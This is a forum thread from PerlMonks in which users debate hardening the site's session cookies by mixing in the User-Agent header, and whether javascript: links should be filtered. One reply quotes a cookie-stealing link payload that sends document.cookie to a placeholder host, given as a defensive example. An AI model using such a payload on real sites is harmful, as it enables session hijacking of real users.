http://qs321.pair.com?node_id=207057


in reply to Hacking "explained"
in thread Filtering potentially dangerous URI schemas in <a href="...">

The scheme could be at least slightly improved without a total change though, by using information such as the user agent string and other headers from the HTTP request to influence the encryption, so that it would at least be more difficult to use stolen cookies.

(Note this is orthogonal to the Javascript banning question. Whether cookies get hardened is irrelevant to whether JS should be filtered.)

Makeshifts last the longest.

Replies are listed 'Best First'.
Re: Re: Hacking "explained"
by zigdon (Deacon) on Oct 22, 2002 at 13:07 UTC

    While using other information might help, is there any reason an evil script won't be able to send your user agent, or any other information about your browser to it's author? So instead of just stealing your cookie, it'll report the user agent, and anything else required to fake a logged in session. The only thing that couldn't be faked is the IP address, but you can't do sessioning based on IPs, as often there isn't a one-to-one mapping between users and IPs.

    That said, I think it's a bad idea to try to outsmart hackers - there's always going to be one smarter than you thought. Any reason why not to bad JS from the public forums?

    -- Dan

[reply]

      The idea is that it isn't known which headers are used as additional information. This is only security by obscurity of course, but it's slightly better than no extra measures at all.

      You did notice I said this point was completely orthogonal to banning JS, right? Obviously the script on the other side of <a href="javascript:open('http://foo.com/stealcookie.cgi?c='+document.cookie,'_self','',1)"> can record the entire HTTP request header anyway, so these issues have nothing to do with each other.

      Makeshifts last the longest.

[reply]
Re: Re: Hacking "explained"
by Dog and Pony (Priest) on Oct 22, 2002 at 13:41 UTC
    Funny, I mentioned exactly that example when post-discussing with hackmare. :) Mix the User-Agent with the pw before encrypting and the attacker must use or simulate the exact same browser. Just obscurity, yes, but better than nothing. :)

    Using IP, as some would suggest, is generally a bad method, as it changes (sometimes every request) for lots of people.

    You have moved into a dark place.
    It is pitch black. You are likely to be eaten by a grue.
[reply]
      Yep. In fact, using the IP is even worse when you count in things like proxies (which may be transparent ones to complicate matters further). There are millions of reasons you don't want to be using the IP.

      Makeshifts last the longest.

[reply]

In Section Perl Monks Discussion